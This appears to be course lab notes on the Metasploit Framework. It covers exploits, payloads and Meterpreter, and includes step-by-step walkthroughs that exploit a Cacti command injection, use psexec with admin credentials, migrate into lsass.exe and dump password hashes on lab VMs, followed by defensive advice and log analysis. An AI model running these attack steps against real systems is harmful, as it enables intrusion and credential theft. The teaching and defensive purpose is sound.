# Metasploit Framework

H.D. Moore and a team created Metasploit to help build and use exploits. It works best on UNIX systems but can run on Windows with limits. Metasploit connects exploits, payloads, and targets, making it useful for attackers and security testers. It’s open-source, though other tools like Core Impact and Immunity CANVAS are also strong options.

Using Metasploit, the attacker picks an exploit and a payload for the target system. They add the target’s IP address, port, and other needed details. Metasploit then builds and sends the attack package, giving the attacker flexibility to launch it.

Metasploit has tools for scanning ports and checking if a target has vulnerabilities it can exploit. It also offers evasion options using encoding for exploits and payloads.

## The Metasploit Arsenal

Metasploit is a tool with many exploits—small codes that make a victim system run the attacker's code. It supports over a thousand exploits for systems like Windows, macOS, and Linux. Metasploit also has payloads, which are codes attackers want to run on the target, like creating a command shell or controlling the system's GUI remotely. Users don't need to understand how it works—they just pick an exploit and payload, and the tool sends them to the target, where the exploit activates the attacker's code. This makes it easy for beginners to use.

Metasploit has auxiliary modules for scanning, DoS, and finding vulnerabilities, while post modules are used after exploiting a system to gather data or escalate privileges.

Metasploit includes tools to help developers create new exploits and payloads. These tools find vulnerabilities, locate memory regions for running code, and offer code samples for injecting payloads. They also reduce detection risks. Developers can easily swap payloads and exploits within the framework.

## Metasploit User Interfaces

Metasploit offers different interfaces like console, command-line, web, and GUI (Armitage). Attackers pick an exploit to use. Some can check for vulnerabilities before attacking, while others directly run the attack.

The attacker sets the target's IP address and port. For payloads needing to talk back to the attacker, like a reverse shell, they add their system's address and port for listening. The attacker then picks a payload, usually a command shell or reverse shell. If no payload is available, they can choose a command to run on the target.

Once you set up everything, the attacker can start the exploit. We'll often use the `search` command in Metasploit. Let's dive into a Lightning Labs event to practice this command.

1\) Start by listing the files in your home directory. Run `ls`.

```bash
ls
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FXIfZPhJUHEbqQjjAFOtG%2FScreenshot.png?alt=media&#x26;token=2e283ff7-0c04-419a-8892-1c2a125cda37" alt=""><figcaption></figcaption></figure>

2\) The `ls` output reveals a file named INTEL.txt. Display the file contents with `cat`.

```bash
cat INTEL.txt
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FH151MgLp346aELUiqWtN%2FScreenshot(1).png?alt=media&#x26;token=7be000e0-0718-4255-bc05-7f86cf62ae4c" alt=""><figcaption></figcaption></figure>

3\) Next, start the Metasploit console by running `msfconsole`.

```bash
msfconsole
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FPL6uPPKuR0U3LFRL6vaJ%2FScreenshot(2).png?alt=media&#x26;token=908c711d-500d-4bf8-9340-e8ea67fb0cbe" alt=""><figcaption></figcaption></figure>

4\) Metasploit has integrated help. Run `help` to get context-sensitive help.

```bash
help
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FUlLnrMj1jBhLXEUEf5sd%2FScreenshot(3).png?alt=media&#x26;token=06f5fe35-4b0b-4be9-97fc-ad34c3eac3a2" alt=""><figcaption></figcaption></figure>

5\) You can also get help for a specific command. Type help search to get help for the search command.

```bash
help search
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FCvgPPXsTFkFaK8XAn0j5%2FScreenshot(4).png?alt=media&#x26;token=1a32217e-9d34-4098-9e68-c35297001a50" alt=""><figcaption></figcaption></figure>

The output from `help search` shows several command line arguments, keywords, and examples.

6\) Issue a search to find any Metasploit modules that include the string cacti by running `search cacti`.

```bash
search cacti
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Flbhgaw5wQCEvP91wrIll%2FScreenshot(5).png?alt=media&#x26;token=0e13e54f-5b91-4fd7-928c-ad51b817079c" alt=""><figcaption></figcaption></figure>

7\) You can also filter the search results by adding a keyword:value pair. For example, you can limit the results to only display modules with a reliability rank of excellent by adding rank:excellent

```bash
search cacti rank:excellent
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FmKgHpx7TuBpwpC4DhwFP%2FScreenshot(6).png?alt=media&#x26;token=339ac6b7-4ee9-49b4-9992-01d401cf155d" alt=""><figcaption></figcaption></figure>

8\) You can load the exploit with the use command. Often we'll type use then the long exploit name, but after a search you can enter use N where N is the search result index number.&#x20;

Load the `cacti_unauthenticated_cmd_injection` exploit with `use 0`.

```bash
use 0
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FBZn7HeCOtSHXFouC48zE%2FScreenshot(7).png?alt=media&#x26;token=bd146f7e-e1c4-4e4e-9820-0ccd9325bd93" alt=""><figcaption></figcaption></figure>

8\) When you load an exploit, the prompt changes to indicate the exploit name. From here you can run info to get basic information about the exploit. Run the `info` command to see.

```bash
info
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FzFZ8vT743y9g8aaEmZ2u%2FScreenshot(8).png?alt=media&#x26;token=c031ed72-9513-447e-b654-35a3d7163ee9" alt=""><figcaption></figcaption></figure>

9\) Use the `options` command to see the available exploit options, and the values assigned.

```bash
options
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FkaBJJTf3t14ys13GQ5U0%2FScreenshot(9).png?alt=media&#x26;token=c7d11c43-1015-4922-aea4-435ef8cdd454" alt=""><figcaption></figcaption></figure>

10\) The RHOSTS option is used to specify one or more systems to target with the exploit by name or IP address. Use the `set` command to set the RHOSTS option to the Cacti server at 10.20.20.38.

```bash
set RHOSTS 10.20.20.38
```

The RPORT option is used to set the port number on the target. Set the RPORT parameter to 80 for the Cacti target.

```bash
set RPORT 80
```

Run the `options` command again to check your work.

```bash
options
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FaBPfdyKxMVBrOgM1Vy5c%2FScreenshot(10).png?alt=media&#x26;token=73825aa2-7cee-4a86-9fb0-9a062228b7a3" alt=""><figcaption></figcaption></figure>

Here we see the RHOSTS and RPORT options are properly configured, but we need to set one more option.

11\) The LHOST option is the attacker IP address. This option is used for any reverse TCP exploit, including the default Meterpreter payload for this exploit. Set the LHOST option to your attacking system at 10.20.20.4.

```bash
set LHOST 10.20.20.4
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FSiVGo2aoIgLNQodp19th%2FScreenshot(11).png?alt=media&#x26;token=70e1535f-1c21-4737-82db-09de36fce88d" alt=""><figcaption></figcaption></figure>

12\) To deliver the exploit you can issue the exploit command. Alternatively, the run command will also work.&#x20;

```bash
exploit
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FV7LYuGMQAFlfBbZr8u4j%2FScreenshot(12).png?alt=media&#x26;token=ae5d677c-5500-4ed1-8bcb-b60cf510942a" alt=""><figcaption></figcaption></figure>

13\) From the Meterpreter shell you can manipulate the victim system. Run the `shell` command to get shell access.

```bash
shell
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FVu1DeETCDwdbs9IIZy8I%2FScreenshot(13).png?alt=media&#x26;token=abe5255c-4b4b-4e1b-87d7-aa93cb8aacfa" alt=""><figcaption></figcaption></figure>

14\) Cacti installs store passwords in the /var/www/html/include/config.php file. Use `cat` to get the contents of that file.

```bash
cat /var/www/html/include/config.php
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FC99Zs0TgigQadip9ToRM%2FScreenshot(14).png?alt=media&#x26;token=316321db-9f94-4f4d-9015-50fbef1cae39" alt=""><figcaption></figcaption></figure>

15\) Here we learn the username and password for the database. Use those credentials with the mysql utility to retrieve the password information stored in the Cacti user\_auth table.&#x20;

```bash
mysql -u root -proot -D cacti -e 'select username,password from user_auth'
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FJkRdLd2dzy0UNyy5n41D%2FScreenshot(15).png?alt=media&#x26;token=cb5aaa33-e2cb-4fc1-aed0-804648f2f934" alt=""><figcaption></figcaption></figure>

Using the Metasploit console we can search for modules, sort and filter the results, and use an exploit to target a vulnerable system.

## Exploits Currently Included Metasploit Framework

Metasploit has over 2,000 exploits and will likely add more as new vulnerabilities are found and code is developed. Exploits target things like browsers, PDF readers, UNIX services (e.g., Apache, SSH), and increasingly mobile devices (Android, iOS).

Metasploit exploits commonly take advantage of memory management vulnerabilities such as buffer overflows, heap overflows, and other related attacks. Other exploits gain remote code execution using system backdoors, platform feature manipulation, password reuse attacks, and more.

## Payloads Included in Metasploit Framework

Metasploit payloads aim to work on different systems and fix any issues they cause, avoiding crashes or leftover problems.

The payloads available within the framework include:

* **Bind shell to arbitrary port**: This starts a command shell listener on any TCP port the attacker picks.
* **Reverse shell**: This sends a command shell back to the attacker on a TCP port, who will probably be listening with Netcat.
* **Windows VNC Server DLL Inject**: This attack lets the hacker control the victim's screen remotely using VNC. The VNC tool is sent as a DLL and runs within the victim's process, so no installation is needed.
* **Create Local Admin user**: This payload makes a new admin user with the name and password set by the attacker.

Meterpreter is a powerful Metasploit payload for Windows that gives attackers command-line access without creating new processes or touching the hard drive. It runs within the exploited process, operates purely in memory, uses its own commands, and can load new modules to change its functions dynamically.

The last two features are the most powerful. Instead of using `hostname.exe`, Meterpreter has a built-in module for system info. Attackers can add more modules to Meterpreter as needed, using the Meterpreter channel to control them.

## Meterpreter Features

Here is a set of the features included with the Meterpreter:

* Show system info, including the OS type and the user ID of the Meterpreter session.
* Manage files and directories: navigate (cd), list files (ls), and upload/download files.
* Work with the network to get configuration details and set up TCP port forwarding to bypass firewalls.
* Manage processes by starting new programs, stopping processes, or listing those that are currently running.

To avoid detection by admins or security systems, Meterpreter encrypts its traffic with TLS on a port selected by the Metasploit user.

## Attack Framework Defense: Preparation

Keep systems patched to avoid risks! New exploits can quickly emerge after a vulnerability is found, so it’s crucial to have a strong patching process to act fast. Threat intelligence feeds can give early warnings, but a solid patching routine is key. Also, use Endpoint Detection and Response (EDR) tools to spot and block attacks, adding an extra layer of protection.

In 2017, Microsoft improved Windows Defender for Endpoint on Windows 10, originally called Exploit Guard (EG). Now known as exploit protection, it includes extra security features like exploit prevention, system rules, network protection, and controlled access to important folders. For more details, visit [Microsoft's website](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/exploit-protection).

You can use application allow list software to run only approved apps. While it might not stop the exploit itself, it can prevent the payloads from running and quickly alert admins if an attack is blocked early.

For Linux systems, use SELinux on important servers (like web or mail servers). Check each distribution’s website for setup instructions (e.g., Debian or RedHat). Also, consider Linux AppArmor for added security, but ensure it's properly configured. More info on AppArmor can be found at its GitLab page.

## Additional Defenses: Preparation

Filter all traffic in and out of your network to reduce risk. Use proxies for outbound traffic to control and monitor it. Since networks might already have compromised systems, it’s important to actively search for hidden attackers. Threat hunting involves using methods that bypass regular security to find attackers who might use similar tactics.

Conduct threat hunting analysis

* Check for long URLs
* Check for DNS entries that are on known offender lists
* Check for beacon connections
* Check for odd services and .exes

Finally, there is a great webcast on this topic for RITA at <https://youtu.be/HRBDdnhPazk>.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FTxczgM26ZP4yLmPaPOpK%2FScreenshot(16).png?alt=media&#x26;token=391f1dca-91b5-43c1-af55-6c002bd927a9" alt=""><figcaption></figcaption></figure>

## Lab 4.1: Metasploit Attack and Analysis

In this lab, we'll attack the Windows VM from the Linux VM. In doing so, we'll expose you to some of the features of Metasploit. You will learn what skillful attackers can do to a victim system. Additionally, you'll see that even advanced attackers will leave traces that skillful defenders can use to track what the adversary is doing.

### Goals of Metasploit Lab

This lab has two goals:

1. Explore Metasploit tools and features, including msfconsole, psexec, Meterpreter payload, hashdump, and process migration.
2. Analyze the victim system during an attack, focusing on TCP ports, process activity, and event logs.

For this lab, we will use our Slingshot Linux VM to attack your Windows machine.

From the Slingshot Linux VM, let's launch `msfconsole`.

```bash
msfconsole
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FAgRR51O3HcLORaDoko9a%2FScreenshot.png?alt=media&#x26;token=807a1176-be93-495b-94f0-c82a307e1362" alt=""><figcaption></figcaption></figure>

Next, let's examine the many Metasploit exploits available.

```bash
show exploits
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FqG3W2ZFhl3nQqtIkJurP%2FScreenshot(1).png?alt=media&#x26;token=4f968fb7-1793-47f1-9587-4daba4e3f31d" alt=""><figcaption></figcaption></figure>

Metasploit has many exploits. We can use its search feature to find modules with specific keywords. At the msf6 > prompt, let's search for the psexec module by adding `type:exploit` to show only exploits.

```bash
search type:exploit psexec
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F9AhVCWwqroMk58J8xNWw%2FScreenshot(2).png?alt=media&#x26;token=022f8635-2d37-4119-8ad8-644283b64983" alt=""><figcaption></figcaption></figure>

Here we see many modules contain the string "psexec." To narrow down results, let's add more keywords. Use the help search command to see available search keywords.

```bash
help search
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FlxQELaCxgjJ42ksifuzg%2FScreenshot(3).png?alt=media&#x26;token=95368fd2-e845-4842-9f63-effaa9c2c301" alt=""><figcaption></figcaption></figure>

We'll use `exploit/windows/smb/psexec`.

```bash
info exploit/windows/smb/psexec
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FsROJIVCoAnWTeJ60OpZE%2FScreenshot(4).png?alt=media&#x26;token=45ab1879-e7a8-46fe-a96d-30594b05577d" alt=""><figcaption></figcaption></figure>

The output shows configuration options and comments about using the psexec module. This module is very useful in Metasploit because it lets you run code on a target with SYSTEM privileges using SMB and admin credentials. It's especially handy in fully patched Windows systems.

Next, let's configure Metasploit to launch the attack. Select the `exploit/windows/smb/psexec` module.

```bash
use exploit/windows/smb/psexec
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FEaJiSLIiV0v1w6TKrteA%2FScreenshot(5).png?alt=media&#x26;token=6ccabf39-9e58-409a-96f3-f750a4d8f25c" alt=""><figcaption></figcaption></figure>

Metasploit uses the default payload `windows/meterpreter/reverse_tcp`, which we can check by running `set PAYLOAD`.

```bash
set PAYLOAD
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FE4m214Rc9BBqqc4Q9hrM%2FScreenshot(6).png?alt=media&#x26;token=e6546973-d727-411c-a792-12c6cd374e77" alt=""><figcaption></figcaption></figure>

Let's run `show options` to see all variables for this exploit and payload.

```bash
show options
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FqNBzR88XUqmO3MzHbUbh%2FScreenshot(7).png?alt=media&#x26;token=ca05b762-025d-46ec-809a-5a6cf0874e3f" alt=""><figcaption></figcaption></figure>

In this lab, we'll attack the Windows VM at 10.10.0.1. Let's set the RHOSTS variable to this target.

```bash
set RHOSTS 10.10.0.1
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FFMhW21Tr5oNCfy1ggtdV%2FScreenshot(8).png?alt=media&#x26;token=5a032535-d385-44ac-98e6-458d42d78bd3" alt=""><figcaption></figcaption></figure>

The `psexec` module needs admin credentials from the target machine. It uses these to create and run a service with SYSTEM privileges. Set `SMBUser` and `SMBPass` to the admin user's details.

```bash
set SMBUSER sec504
set SMBPASS sec504
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FFroQITZVTxqZ3tSSq7Sh%2FScreenshot(9).png?alt=media&#x26;token=4a0242c5-3d82-4a32-a2ff-71957cbaf893" alt=""><figcaption></figcaption></figure>

Note: The SMBPass variable might be set to the user's LANMAN instead of their real password. Metasploit can use this hash to log in with psexec on Windows without needing the actual password.

Let's set the LHOST variable to tell the Meterpreter reverse\_tcp payload where to connect back. We want it to connect to the Linux VM.&#x20;

```bash
set LHOST 10.10.75.1
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fe0wyCh1eE5bMbRaoRnXu%2FScreenshot(10).png?alt=media&#x26;token=2066a59a-7fef-41b1-91e4-76f5aeadf5fd" alt=""><figcaption></figcaption></figure>

We use the LPORT variable to set a TCP port for connections. We keep it at 4444 to easily spot the connection. A stealthy attacker might use port 443 to hide among HTTPS traffic.

Finally, let's review the options again to make sure we've set them all appropriately.

```bash
show options
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FClkCm0g9KtrMJ6uKSn2o%2FScreenshot(11).png?alt=media&#x26;token=fe576863-3f2d-4df2-8d5f-653339bf784d" alt=""><figcaption></figcaption></figure>

With everything set up, we can start the attack to load Meterpreter into the target machine's memory and have it connect back to us.

```bash
exploit
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FoDNqyEKe0nKKFKyB7PNT%2FScreenshot(12).png?alt=media&#x26;token=7561f1ad-48e2-4c62-9150-576054222ee5" alt=""><figcaption></figcaption></figure>

Look carefully at the status messages from Metasploit. We can see that it authenticates to the target machine and uploads the stager. The stager is the reverse\_tcp part of the payload, which implements communication and the loading of the stage. The stage is Meterpreter itself.

Once the stager is active on the target, it sends the Meterpreter stage and connects back to msfconsole, giving us access to the Meterpreter prompt. We now control the target machine with Meterpreter: meterpreter >

Once we have the meterpreter prompt, we can manage sessions using msfconsole. First, let's use the `background` command to move the Meterpreter session to the background and return to the msfconsole prompt.

```bash
background
```

Metasploit allows us to have multiple sessions with different target machines. To see all open sessions, let's use the `sessions` command.

```bash
sessions
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F4j4AFz4u6NZtDFWWuv6y%2FScreenshot(13).png?alt=media&#x26;token=3dedbd89-225c-42d4-a91b-a57aac3ec2c4" alt=""><figcaption></figcaption></figure>

Each session has a number starting from 1 for the first one Metasploit opens. To go back to a session and interact with it, let's use the `sessions` command and specify the session number (e.g., 1).

```bash
session 1
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fys6NhK8gTAYND6ZzUNmh%2FScreenshot(14).png?alt=media&#x26;token=d05a147e-02b5-4d94-8900-e73a2e2237c9" alt=""><figcaption></figcaption></figure>

Now let's get information about the host itself.&#x20;

```bash
sysinfo
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FXcQnwspkKPIBwrapjScU%2FScreenshot(15).png?alt=media&#x26;token=c5539a50-e628-4422-b4df-1ad03df1f0d6" alt=""><figcaption></figcaption></figure>

In this output, we can see the host's name (Computer), the operating system type, the CPU architecture, and the language pack installed.

To get more info, let's use the built-in `systeminfo` command with Meterpreter:

1. `-i`: Lets us interact with the process to see the command's output.
2. `-f systeminfo`: Specifies the command to run.

```bash
execute -if systeminfo
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FpvTm2P8fVr7j6ngTT7z6%2FScreenshot(16).png?alt=media&#x26;token=869ac009-b5c0-4963-b2ed-f0fc85550344" alt=""><figcaption></figcaption></figure>

We've run the `systeminfo` command on Windows without any extra options to get detailed information about the system, like the OS name, product ID, and install date.

Next, let's check the current user ID by running the `getuid` command, like this:

```bash
getuid 
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FhzZdxdPSq3SngnwDXeMj%2FScreenshot(17).png?alt=media&#x26;token=1f0a089f-9f5e-4b3a-8971-6adc00669fdf" alt=""><figcaption></figcaption></figure>

We used the psexec tool with admin credentials to get local SYSTEM access on the target.

We can get a list of running processes on the Windows victim using the `ps` command.

```bash
ps
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fp5gHj4Gw9zssyKhGw35s%2FScreenshot(18).png?alt=media&#x26;token=0ac290a7-b6de-46d2-aac7-289a4a5c70da" alt=""><figcaption></figcaption></figure>

We can find our Process ID using the `getpid` command, like this.

```bash
getpid
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FCALdiPkBdhN5H2kDg9Gm%2FScreenshot(19).png?alt=media&#x26;token=6c7a5e27-fa68-4637-b5a8-8434b9460153" alt=""><figcaption></figcaption></figure>

To access help in Meterpreter, we can use the `help` command or type a question mark.

```bash
help
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FnixEK6BRoVkHMNetyOv7%2FScreenshot(20).png?alt=media&#x26;token=8312ae82-4a77-4485-b46d-9233dc9feda2" alt=""><figcaption></figcaption></figure>

When Meterpreter has SYSTEM or admin rights, we can use it to get password hashes from the target. We can dump them from memory with the Meterpreter `hashdump` command.

```bash
hashdump
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F7bSexCe1vqcU1SBxNWZW%2FScreenshot(21).png?alt=media&#x26;token=b7423adc-3735-484f-82eb-cbf7a1f58a5e" alt=""><figcaption></figcaption></figure>

When Meterpreter has SYSTEM or admin rights, we can use it to get password hashes from the target. We can dump them from memory with the Meterpreter `hashdump` command.

On many Windows versions, this command doesn't work because Microsoft made it harder to get hashes from memory. But with SYSTEM privileges, we can bypass this restriction. There's another way to avoid Windows 10 defenses, but we need to check the migrate feature first.

```bash
getpid 
ps
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FrUn1qJrEgMaQ2Gh7qi87%2FScreenshot(23).png?alt=media&#x26;token=b7f2c458-76a6-4c4c-991d-e6138687a3ab" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FIwBB8rpu6Qh6iv37EIzX%2FScreenshot(25).png?alt=media&#x26;token=ea89ddde-bedf-43f1-b636-c3938b500a70" alt=""><figcaption></figcaption></figure>

Meterpreter can move to different processes to avoid detection or gain more system privileges. For instance, if a Metasploit attack needs Meterpreter to match the system's CPU architecture, and the current process (like powershell.exe) doesn't match, we can migrate to another process (such as vmtoolsd.exe) with the correct architecture using the migrate command.

```bash
migrate -N vmtoolsd.exe
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FWhZClRFCEFvTGsMPnznt%2FScreenshot(26).png?alt=media&#x26;token=f6a42247-31dd-4213-a39b-42a2ddf40244" alt=""><figcaption></figcaption></figure>

Note: Experienced Metasploit users know that the Meterpreter session often fails during the `migrate` command. If `migrate` fails, type `exit` to leave the session. Restart the exploit from the msf6 prompt and try `migrate` again. Sometimes, you might need to try different processes like **VGAuthService.exe**, **openvpnserv.exe**, or **SearchIndexer.exe**. If `migrate` still fails, reboot your Windows VM.

Let's run `sysinfo` and `getpid` commands again to check for changes in the new session, noting the new Meterpreter platform (x64/windows) and process ID.

```bash
sysinfo
getpid
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F2CGiZLSZq2NkFrMk42Iu%2FScreenshot(27).png?alt=media&#x26;token=81a653d0-f321-4676-8953-1f5b9af84fd6" alt=""><figcaption></figcaption></figure>

The hashdump command didn't work because Windows has stronger protections against extracting password hashes. However, attackers can still try to exploit the LSASS process permissions to get the hashes.

The Local Security Authority Subsystem Service (LSASS) is a Windows service that manages security tasks. If `hashdump` fails because of permission issues, we can move into the LSASS process to get around this restriction.

Let's migrate to the lsass.exe process.

```bash
migrate -N lsass.exe
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FeHX81YxhIKqKzY3PmFsC%2FScreenshot(28).png?alt=media&#x26;token=55750eba-18d9-4e21-8ef0-fbf8428fac9b" alt=""><figcaption></figcaption></figure>

Next, let's run the hashdump command again:

```bash
hashdump
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FKsOYM5DWSWZowbm4o0vu%2FScreenshot.png?alt=media&#x26;token=e5e1a911-4105-4d68-a7ef-1c7c2f7c490a" alt=""><figcaption></figcaption></figure>

The Administrator, DefaultAccount, and Guest accounts have empty password hashes because they are disabled. The Sec504 user and WDAGUtilityAccount accounts have non-empty NTLM hashes.

If there were several users with passwords, we'd get all the password hashes. But the attacker wouldn't stop there. Next, we'll explore ways to run commands on the Windows system and gain extra access.

Let's check the Windows events recorded when using Metasploit's psexec module. On our Windows VM, let's switch to the C:\Tools\hayabusa directory.

Next, let's run Hayabusa, specifying the local system logs for analysis.

```bash
.\hayabusa csv-timeline -o metasploit-psexec.csv -l
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FW9mzjB9RHg9ggNC7PuBz%2FScreenshot(1).png?alt=media&#x26;token=23ba039e-93ca-4a56-9ddb-90c30a52ef1c" alt=""><figcaption></figcaption></figure>

Hayabusa finds signs of an attack but wrongly blames Cobalt Strike. This mistake is understandable because the technique used is similar to one used by Cobalt Strike.

In PowerShell, we can use the `Import-Csv` command to read a CSV file and create a timeline. Let's filter the results to show only critical and high-risk alerts with the `Where-Object` command and `-CIn` (contains) filter.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FBtHGsLOjo6KcEuWFWsw4%2FScreenshot(2).png?alt=media&#x26;token=963a881a-c57e-43d0-b428-d692e46564aa" alt=""><figcaption></figcaption></figure>

```powershell
Import-Csv -Path .\metasploit-psexec.csv | Where-Object -Property Level -Cin "crit","high" | Select-Object Timestamp,Level,RuleTitle
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FP8LqQYkhCJrpBZqqP2U8%2FScreenshot(3).png?alt=media&#x26;token=e335a47d-392d-4d26-94b4-cb24b016efc6" alt=""><figcaption></figcaption></figure>

